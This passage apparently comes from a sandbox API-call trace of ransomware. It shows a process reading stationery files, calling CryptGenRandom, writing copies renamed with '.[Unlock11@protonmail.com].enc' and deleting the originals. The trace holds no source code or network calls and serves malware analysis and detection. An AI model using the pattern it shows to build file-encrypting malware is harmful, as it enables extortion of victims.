(in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.421] GetLastError () returned 0x0 [0123.421] GetLastError () returned 0x0 [0123.421] GetCurrentThreadId () returned 0x9b0 [0123.421] GetLastError () returned 0x0 [0123.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.422] GetLastError () returned 0x0 [0123.422] GetLastError () returned 0x0 [0123.422] GetCurrentThreadId () returned 0x9b0 [0123.422] GetLastError () returned 0x0 [0123.422] GetLastError () returned 0x0 [0123.424] GetLastError () returned 0x0 [0123.424] GetCurrentThreadId () returned 0x9b0 [0123.424] GetLastError () returned 0x0 [0123.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6af8 | out: hHeap=0x2ad0000) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x458) returned 0x3826a60 [0123.425] GetCurrentThreadId () returned 0x9b0 [0123.425] GetLastError () returned 0x0 [0123.425] GetLastError () returned 0x0 [0123.425] GetLastError () returned 0x0 [0123.425] GetLastError () returned 0x0 [0123.425] GetCurrentThreadId () returned 0x9b0 [0123.425] GetLastError () returned 0x0 [0123.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3826a60 | out: hHeap=0x2ad0000) returned 1 [0123.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.426] GetLastError () returned 0x0 [0123.426] GetLastError () returned 0x0 [0123.426] GetCurrentThreadId () returned 0x9b0 [0123.426] GetLastError () returned 0x0 [0123.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3825cc8 | out: hHeap=0x2ad0000) returned 1 [0123.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f89a8 [0123.426] GetLastError () returned 0x0 [0123.426] GetLastError () returned 0x0 [0123.426] GetCurrentThreadId () returned 0x9b0 [0123.426] GetLastError () returned 0x0 [0123.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f89a8 | out: hHeap=0x2ad0000) returned 1 [0123.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.427] GetLastError () returned 0x0 [0123.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.428] CloseHandle (hObject=0x3ac) returned 1 [0123.428] GetLastError () returned 0x0 [0123.428] GetCurrentThreadId () returned 0x9b0 [0123.428] GetLastError () returned 0x0 [0123.428] GetLastError () returned 0x0 [0123.428] CloseHandle (hObject=0x39c) returned 1 [0123.429] GetLastError () returned 0x0 [0123.429] GetCurrentThreadId () returned 0x9b0 [0123.429] GetLastError () returned 0x0 [0123.429] GetLastError () returned 0x0 [0123.429] GetLastError () returned 0x0 [0123.429] GetLastError () returned 0x0 [0123.429] GetLastError () returned 0x0 [0123.429] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0 [0123.429] GetLastError () returned 0x5 [0123.430] GetCurrentThreadId () returned 0x9b0 [0123.430] GetLastError () returned 0x5 [0123.430] GetLastError () returned 0x5 [0123.430] GetLastError () returned 0x5 [0123.430] GetLastError () returned 0x5 [0123.430] LocalFree (hMem=0x1053ad0) returned 0x0 [0123.430] GetCurrentThreadId () returned 0x9b0 [0123.430] GetLastError () returned 0x5 [0123.430] GetLastError () returned 0x5 [0123.430] GetLastError () returned 0x5 [0123.430] GetLastError () returned 0x5 [0123.431] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini", lpFilePart=0x9bada4*="Desktop.ini") returned 0x45 [0123.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.431] GetCurrentThreadId () returned 0x9b0 [0123.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0123.431] GetLastError () returned 0x0 [0123.431] GetLastError () returned 0x0 [0123.431] GetLastError () returned 0x0 [0123.432] GetLastError () returned 0x0 [0123.432] GetCurrentThreadId () returned 0x9b0 [0123.432] GetLastError () returned 0x0 [0123.432] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0123.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0123.432] GetLastError () returned 0x0 [0123.432] GetLastError () returned 0x0 [0123.432] GetLastError () returned 0x0 [0123.432] GetLastError () returned 0x0 [0123.432] GetCurrentThreadId () returned 0x9b0 [0123.432] GetLastError () returned 0x0 [0123.433] GetCurrentThreadId () returned 0x9b0 [0123.433] GetLastError () returned 0x0 [0123.433] GetLastError () returned 0x0 [0123.433] GetLastError () returned 0x0 [0123.433] GetLastError () returned 0x0 [0123.433] GetCurrentThreadId () returned 0x9b0 [0123.433] GetLastError () returned 0x0 [0123.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9b8 | out: hHeap=0x2ad0000) returned 1 [0123.433] GetLastError () returned 0x0 [0123.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0123.433] GetLastError () returned 0x0 [0123.434] GetLastError () returned 0x0 [0123.434] GetLastError () returned 0x0 [0123.434] GetCurrentThreadId () returned 0x9b0 [0123.434] GetLastError () returned 0x0 [0123.434] GetLastError () returned 0x0 [0123.434] GetLastError () returned 0x0 [0123.434] GetLastError () returned 0x0 [0123.434] GetLastError () returned 0x0 [0123.434] GetCurrentThreadId () returned 0x9b0 [0123.434] GetLastError () returned 0x0 [0123.434] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0123.435] GetCurrentThreadId () returned 0x9b0 [0123.435] GetLastError () returned 0x0 [0123.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0123.435] GetLastError () returned 0x0 [0123.435] GetLastError () returned 0x0 [0123.435] GetLastError () returned 0x0 [0123.435] GetCurrentThreadId () returned 0x9b0 [0123.435] GetLastError () returned 0x0 [0123.435] GetLastError () returned 0x0 [0123.435] GetLastError () returned 0x0 [0123.435] GetLastError () returned 0x0 [0123.436] GetLastError () returned 0x0 [0123.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.436] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285)) returned 1 [0123.436] GetLastError () returned 0x0 [0123.436] GetCurrentThreadId () returned 0x9b0 [0123.436] GetLastError () returned 0x0 [0123.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0123.436] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aad4 | out: pbBuffer=0x366aad4) returned 1 [0123.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0123.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0123.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0123.437] GetCurrentThreadId () returned 0x9b0 [0123.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8f0 [0123.437] GetLastError () returned 0x0 [0123.437] GetLastError () returned 0x0 [0123.437] GetLastError () returned 0x0 [0123.437] GetLastError () returned 0x0 [0123.437] GetCurrentThreadId () returned 0x9b0 [0123.437] GetLastError () returned 0x0 [0123.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8f0 | out: hHeap=0x2ad0000) returned 1 [0123.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0123.438] GetCurrentThreadId () returned 0x9b0 [0123.438] GetLastError () returned 0x0 [0123.438] GetLastError () returned 0x0 [0123.438] GetLastError () returned 0x0 [0123.438] GetLastError () returned 0x0 [0123.438] GetCurrentThreadId () returned 0x9b0 [0123.438] GetLastError () returned 0x0 [0123.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacb0 | out: hHeap=0x2ad0000) returned 1 [0123.438] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6af8 [0123.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0123.438] GetLastError () returned 0x0 [0123.439] GetLastError () returned 0x0 [0123.439] GetLastError () returned 0x0 [0123.439] GetLastError () returned 0x0 [0123.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.439] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a08 [0123.439] GetLastError () returned 0x0 [0123.439] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.439] GetFileType (hFile=0x39c) returned 0x1 [0123.439] GetLastError () returned 0x0 [0123.440] GetCurrentThreadId () returned 0x9b0 [0123.440] GetLastError () returned 0x0 [0123.440] GetFileType (hFile=0x39c) returned 0x1 [0123.440] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.440] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.440] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.440] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.440] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.440] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.440] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.440] GetLastError () returned 0x0 [0123.440] GetCurrentThreadId () returned 0x9b0 [0123.440] GetLastError () returned 0x0 [0123.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0123.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0123.441] GetLastError () returned 0x0 [0123.441] GetLastError () returned 0x0 [0123.441] GetLastError () returned 0x0 [0123.441] GetLastError () returned 0x0 [0123.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b18 [0123.441] GetLastError () returned 0x0 [0123.441] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.442] GetFileType (hFile=0x3ac) returned 0x1 [0123.442] GetLastError () returned 0x0 [0123.442] GetCurrentThreadId () returned 0x9b0 [0123.442] GetLastError () returned 0x0 [0123.443] GetFileType (hFile=0x3ac) returned 0x1 [0123.443] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.443] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.443] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.443] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.443] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.443] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.443] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.443] GetLastError () returned 0x0 [0123.443] GetCurrentThreadId () returned 0x9b0 [0123.443] GetLastError () returned 0x0 [0123.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b18 | out: hHeap=0x2ad0000) returned 1 [0123.443] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0123.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0123.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.444] GetLastError () returned 0x0 [0123.444] GetLastError () returned 0x0 [0123.444] GetCurrentThreadId () returned 0x9b0 [0123.444] GetLastError () returned 0x0 [0123.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.444] GetLastError () returned 0x0 [0123.444] GetLastError () returned 0x0 [0123.445] GetCurrentThreadId () returned 0x9b0 [0123.445] GetLastError () returned 0x0 [0123.445] GetLastError () returned 0x0 [0123.446] GetLastError () returned 0x0 [0123.446] GetCurrentThreadId () returned 0x9b0 [0123.447] GetLastError () returned 0x0 [0123.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6af8 | out: hHeap=0x2ad0000) returned 1 [0123.447] GetCurrentThreadId () returned 0x9b0 [0123.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2a8) returned 0x2c2bc10 [0123.447] GetLastError () returned 0x0 [0123.447] GetLastError () returned 0x0 [0123.447] GetLastError () returned 0x0 [0123.447] GetLastError () returned 0x0 [0123.447] GetCurrentThreadId () returned 0x9b0 [0123.447] GetLastError () returned 0x0 [0123.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2bc10 | out: hHeap=0x2ad0000) returned 1 [0123.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.448] GetLastError () returned 0x0 [0123.448] GetLastError () returned 0x0 [0123.448] GetCurrentThreadId () returned 0x9b0 [0123.448] GetLastError () returned 0x0 [0123.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2c9f8 | out: hHeap=0x2ad0000) returned 1 [0123.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f87f8 [0123.448] GetLastError () returned 0x0 [0123.449] GetLastError () returned 0x0 [0123.449] GetCurrentThreadId () returned 0x9b0 [0123.449] GetLastError () returned 0x0 [0123.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f87f8 | out: hHeap=0x2ad0000) returned 1 [0123.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.449] GetLastError () returned 0x0 [0123.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.450] CloseHandle (hObject=0x3ac) returned 1 [0123.450] GetLastError () returned 0x0 [0123.450] GetCurrentThreadId () returned 0x9b0 [0123.450] GetLastError () returned 0x0 [0123.451] GetLastError () returned 0x0 [0123.451] CloseHandle (hObject=0x39c) returned 1 [0123.451] GetLastError () returned 0x0 [0123.451] GetCurrentThreadId () returned 0x9b0 [0123.451] GetLastError () returned 0x0 [0123.451] GetLastError () returned 0x0 [0123.451] GetLastError () returned 0x0 [0123.451] GetLastError () returned 0x0 [0123.451] GetLastError () returned 0x0 [0123.451] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0123.452] GetLastError () returned 0x0 [0123.453] GetCurrentThreadId () returned 0x9b0 [0123.453] GetLastError () returned 0x0 [0123.453] GetCurrentThreadId () returned 0x9b0 [0123.453] GetLastError () returned 0x0 [0123.453] GetLastError () returned 0x0 [0123.453] GetLastError () returned 0x0 [0123.453] GetLastError () returned 0x0 [0123.453] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFilePart=0x9bada4*="Garden.htm") returned 0x44 [0123.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0123.453] GetCurrentThreadId () returned 0x9b0 [0123.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac10 [0123.454] GetLastError () returned 0x0 [0123.454] GetLastError () returned 0x0 [0123.454] GetLastError () returned 0x0 [0123.454] GetLastError () returned 0x0 [0123.454] GetCurrentThreadId () returned 0x9b0 [0123.454] GetLastError () returned 0x0 [0123.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac10 | out: hHeap=0x2ad0000) returned 1 [0123.454] GetCurrentThreadId () returned 0x9b0 [0123.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0123.455] GetLastError () returned 0x0 [0123.455] GetLastError () returned 0x0 [0123.455] GetLastError () returned 0x0 [0123.455] GetLastError () returned 0x0 [0123.455] GetCurrentThreadId () returned 0x9b0 [0123.455] GetLastError () returned 0x0 [0123.455] GetLastError () returned 0x0 [0123.455] GetLastError () returned 0x0 [0123.455] GetLastError () returned 0x0 [0123.455] GetLastError () returned 0x0 [0123.456] GetCurrentThreadId () returned 0x9b0 [0123.456] GetLastError () returned 0x0 [0123.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0123.456] GetLastError () returned 0x0 [0123.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0123.456] GetLastError () returned 0x0 [0123.456] GetLastError () returned 0x0 [0123.456] GetLastError () returned 0x0 [0123.456] GetCurrentThreadId () returned 0x9b0 [0123.456] GetLastError () returned 0x0 [0123.456] GetCurrentThreadId () returned 0x9b0 [0123.457] GetLastError () returned 0x0 [0123.457] GetCurrentThreadId () returned 0x9b0 [0123.457] GetCurrentThreadId () returned 0x9b0 [0123.457] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7)) returned 1 [0123.457] GetCurrentThreadId () returned 0x9b0 [0123.457] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac8c | out: pbBuffer=0x366ac8c) returned 1 [0123.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0123.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.458] GetCurrentThreadId () returned 0x9b0 [0123.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.458] GetCurrentThreadId () returned 0x9b0 [0123.458] GetCurrentThreadId () returned 0x9b0 [0123.458] GetCurrentThreadId () returned 0x9b0 [0123.458] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.458] GetFileType (hFile=0x39c) returned 0x1 [0123.459] GetCurrentThreadId () returned 0x9b0 [0123.459] GetFileType (hFile=0x39c) returned 0x1 [0123.459] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.459] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.459] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.459] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.459] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.459] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.459] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.459] GetLastError () returned 0x0 [0123.459] GetCurrentThreadId () returned 0x9b0 [0123.459] GetLastError () returned 0x0 [0123.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a38 | out: hHeap=0x2ad0000) returned 1 [0123.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0123.460] GetLastError () returned 0x0 [0123.460] GetLastError () returned 0x0 [0123.460] GetLastError () returned 0x0 [0123.460] GetLastError () returned 0x0 [0123.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a08 [0123.514] GetLastError () returned 0x0 [0123.514] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.515] GetFileType (hFile=0x3ac) returned 0x1 [0123.515] GetLastError () returned 0x0 [0123.515] GetCurrentThreadId () returned 0x9b0 [0123.515] GetLastError () returned 0x0 [0123.515] GetFileType (hFile=0x3ac) returned 0x1 [0123.515] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.516] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.516] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.516] GetLastError () returned 0x0 [0123.516] GetCurrentThreadId () returned 0x9b0 [0123.516] GetLastError () returned 0x0 [0123.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0123.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0123.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0123.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0123.516] GetLastError () returned 0x0 [0123.516] GetLastError () returned 0x0 [0123.516] GetCurrentThreadId () returned 0x9b0 [0123.517] GetLastError () returned 0x0 [0123.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.517] GetLastError () returned 0x0 [0123.517] GetLastError () returned 0x0 [0123.517] GetCurrentThreadId () returned 0x9b0 [0123.517] GetLastError () returned 0x0 [0123.517] GetLastError () returned 0x0 [0123.518] GetLastError () returned 0x0 [0123.518] GetCurrentThreadId () returned 0x9b0 [0123.518] GetLastError () returned 0x0 [0123.518] GetCurrentThreadId () returned 0x9b0 [0123.518] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, 